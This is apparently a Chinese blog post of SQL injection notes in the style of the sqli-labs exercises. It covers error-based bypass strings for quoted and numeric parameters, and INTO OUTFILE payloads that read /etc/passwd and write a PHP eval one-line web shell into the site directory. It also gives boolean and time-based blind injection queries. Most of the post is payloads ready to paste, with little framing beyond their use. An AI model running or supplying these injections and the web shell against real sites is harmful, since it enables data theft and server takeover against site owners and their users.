标签:io os 使用 ar for 文件 数据 sp on
基本的报错注入
1、单引号报错-GET-字符型
错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1‘‘ LIMIT 0,1‘ at line 1
猜测:select * from table where id=‘$id‘ limit 0,1;
绕过:id=1‘ --+ id=1‘ --%20 id=1‘ %23 id=1‘ or ‘1‘=‘1 id=1‘ or 1=1 --+等等
2、GET-数字型
错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘ LIMIT 0,1‘ at line 1
猜测:select * from table where id=$id limit 0,1
绕过:id=1 --+ id=1 or 1=1 id=1 or 1=1 %23
3单引号变形-字符型
错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1‘‘) LIMIT 0,1‘ at line 1
猜测:select * from table where id=(‘$id‘) limit 0,1
绕过:id=1‘) --+等等
4、双引号-字符型
错误信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘"1\") LIMIT 0,1‘ at line 1
猜测:select * from table where id=("$id") limit 0,1
绕过:id=1") --+ id=1") or ("1")=("1 ") or 1=1 --+
5、双查询注入
请参考我的上一篇博客
outfile函数
1、基本注入
语句:id=1‘ union select 1,2,3,4,5 into outfile "网站目录/test.txt" --+
id=1‘ union select table_name,2,3,4,5 from information_schema.tables where table_schame=database() into outfile "网站目录/test.txt" --+
id=1‘ union select load_file("/etc/passwd"),2,3,4,5 into outfile "网站目录/test.txt" --+
访问test.txt文件
2、注入并into outfile导出shell 必须magic_quotes_gpc为off
use database;使用数据库
create table shell(name text);创建表
insert into shell values (<?php @eval($_POST[123])?>);写入一句话木马
select * into outfile "网站目录/shell.php" from shell; 导出木马
3、脱裤
盲注
1、基于bool型
原理:对值进行判断,正确为true;
语句:id=1‘ and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))<102 --+
请大家以此类推!不想因为这些语句妨碍了篇幅。
substr("str","length1","length2");
length1:起始位置 length2:截取字符串长度
2、基于时间型
原理:当我们输入的在数据库有时,则会延迟执行,否则立即执行;
语句:select if((select database())="security",sleep(5),null);
select if((select version()) like "5%",sleep(5),null);
POST注入:与get注入方式相同;不过我们在用户名和密码选择一个地方就好了!
标签:io os 使用 ar for 文件 数据 sp on
原文地址:http://www.cnblogs.com/Lzero/p/3984360.html